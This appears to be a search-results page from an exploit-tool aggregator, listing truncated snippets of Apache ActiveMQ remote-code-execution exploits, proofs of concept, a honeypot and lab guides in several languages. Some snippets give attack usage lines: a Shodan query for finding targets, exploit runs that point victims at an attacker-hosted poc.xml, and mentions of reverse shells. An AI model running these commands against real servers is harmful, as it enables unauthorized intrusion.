942 matches found
CVE-2026-42588
CVE-2026-42588 - Explotación de Vulnerabilidad de Ejecución Remota de Código en Apache ActiveMQ Jolokia Nivel de Gravedad : 🔴 Alto CVSS 4.0: 8.1 Tipo de Vulnerabilidad : CWE-94 — Inyección de Código Versiones Afectadas : Apache ActiveMQ Requisito de Explotación : Se necesitan credenciales de...
CVE-2016-3088
CVE-2016-3088 - Ejecución Remota de Código en Apache ActiveMQ...
honeypot.rs
honeypot.rs Honeypot que cubre CVE-2023-46604 Vulnerabilidad RCE de Apache ActiveMQ y está enfocado en obtener Indicadores de Compromiso. Este honeypot puede usarse en cualquier infraestructura de Inteligencia de Amenazas para obtener direcciones IP de atacantes, muestras de post-explotación y...
CVE-2024-21683-RCE
CVE-2024-21683-RCE Créditos https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Uso root@kitploit: git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...
cve-2023-46604
Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 is a widely exploited vulnerability that appears on CISA's KEV list. This go-exploit implementation can execute a reverse shell on the targets using a Nashorn payload, or download a binary to the target and execute it. Compiling To build the exploit...
CVE-2023-46604
CVE-2023-46604 Exploit for CVE-2023-46604 This tool helps to exploit this vulnerability. Shodan Query to find target: root@kitploit: product:"ActiveMQ" port:"61616" Tools Usage: root@kitploit: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single targe...
CVE-2016-3088
Apache ActiveMQ PUT RCE getshell con un clic uso:python3 CVE-2016-3088.py -u https://tartget.com/...
ActiveMQ_CVE-2015-5254
ActiveMQ反序列化（CVE-2015-5254） 漏洞描述：Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message ServiceJMSObjectMessage对象利用该漏洞执行任意代码。 影响版本：Apache ActiveMQ 5.13.0之前的5.x版本 0x01 登陆后台确定版本： http://IP:8161 0x02 确定61616端口开放： nmap -sV -Pn -T4 -sC -p 61616 IP 0x03 发送反弹payload： java...
apache-activemq-rce-research
Apache ActiveMQ Classic — RCE Research Private research archive for the Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML remote-code-execution chain CVE-2026-34197 and its patch-bypass CVE-2026-42588, plus a full auto-research audit of the fixed 6.2.6 release and a...
CVE-2025-27533-Exploit-for-Apache-ActiveMQ
CVE-2025-27533-Exploit-para-Apache-ActiveMQ PoC exploit para CVE-2025-27533 , una vulnerabilidad de Denegación de Servicio DoS en Apache ActiveMQ. Esta herramienta envía paquetes OpenWire maliciosos para agotar la memoria heap de la JVM del servidor objetivo, y potencialmente provocar la caída de...
CVE-2023-46604
CVE-2023-46604 Este repositorio contiene un script de explotación y un archivo XML de Prueba de Concepto PoC para la vulnerabilidad CVE-2023-46604 que afecta a Apache ActiveMQ. La vulnerabilidad permite la ejecución remota de código debido a prácticas inseguras de deserialización en el protocolo...
Exploitation-de-la-vuln-rabilit-CVE-2015-5254-
Explotación-de-la-vulnerabilidad-CVE-2015-5254- La vulnerabilidad CVE-2015-5254 es una falla de seguridad en Apache ActiveMQ, un servidor de mensajes de código abierto ampliamente utilizado para la comunicación entre aplicaciones. Esta vulnerabilidad afecta a las versiones de ActiveMQ hasta la...
CVE-2022-39197
CVE-2022-39197 RCE POC Uso Preparar el Payload 1. Edita Line 19 con tu payload en EvilJar/src/main/java/Exploit.java 2. Construye usando el jar mvn clean compile assembly:single 3. Mueve EvilJar-1.0-jar-with-dependencies.jar desde EvilJar/target/ a la carpeta serve/ 4. Edita serve\evil.svg y...
Apache ActiveMQ 6.x < 6.1.2 - Broken Access Control
Apache ActiveMQ 6.x contains an unauthenticated API web context caused by default configuration lacking security measures in the Jetty server, letting anyone interact with broker APIs and messaging layers, exploit requires no authentication. id: CVE-2024-32114 info: name: Apache ActiveMQ 6.x 6.1....
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
Referencia del proyecto Este proyecto es una versión python del exp, reescrita a partir del exp del proyecto https://github.com/X1r0z/ActiveMQ-RCE. Uso root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 El parámetro -p tiene como valor predetermina...
CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ Este exploit se basa en el trabajo fundacional disponible en https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE. Hemos desarrollado más a fondo la técnica para lograr una reverse shell utilizando Metasploit Framework...
CVE-2016-3088
CVE-2016-3088 Exploit de ejecución remota de código de Apache ActiveMQ Descripción La aplicación web Fileserver en Apache ActiveMQ 5.x anterior a 5.14.0 permite a atacantes remotos subir y ejecutar archivos arbitrarios mediante una petición HTTP PUT seguida de una petición HTTP MOVE. Autor...
CVE-Lab
CVE-2023-46604 实验 本实验指导如何利用 CVE-2023-46604 漏洞。 致谢 Apache ActiveMQ CVE-2023-46604 环境 本实验需要安装两台虚拟机：一台 Kali Linux 2023.4 版，一台 Ubuntu 22.04.3 LTS 版。您可以通过以下链接下载： Kali Linux 2023.4 Ubuntu 22.04.3 LTS VMware-workstation-17.5.0 for windows VMware-workstation-17.5.0 for linux 模型与系统要求 在 Kali Linux 虚拟机上： 安装...
CVE-2023-46604-ActiveMQ-RCE-pseudoshell
CVE-2023-46604 RCE Pseudo-Shell Este script aprovecha CVE-2023046604 Apache ActiveMQ para generar un pseudo shell. La vulnerabilidad permite la ejecución remota de código debido a una deserialización insegura dentro del protocolo OpenWire. Descripción CVE-2023-46604 es una vulnerabilidad de...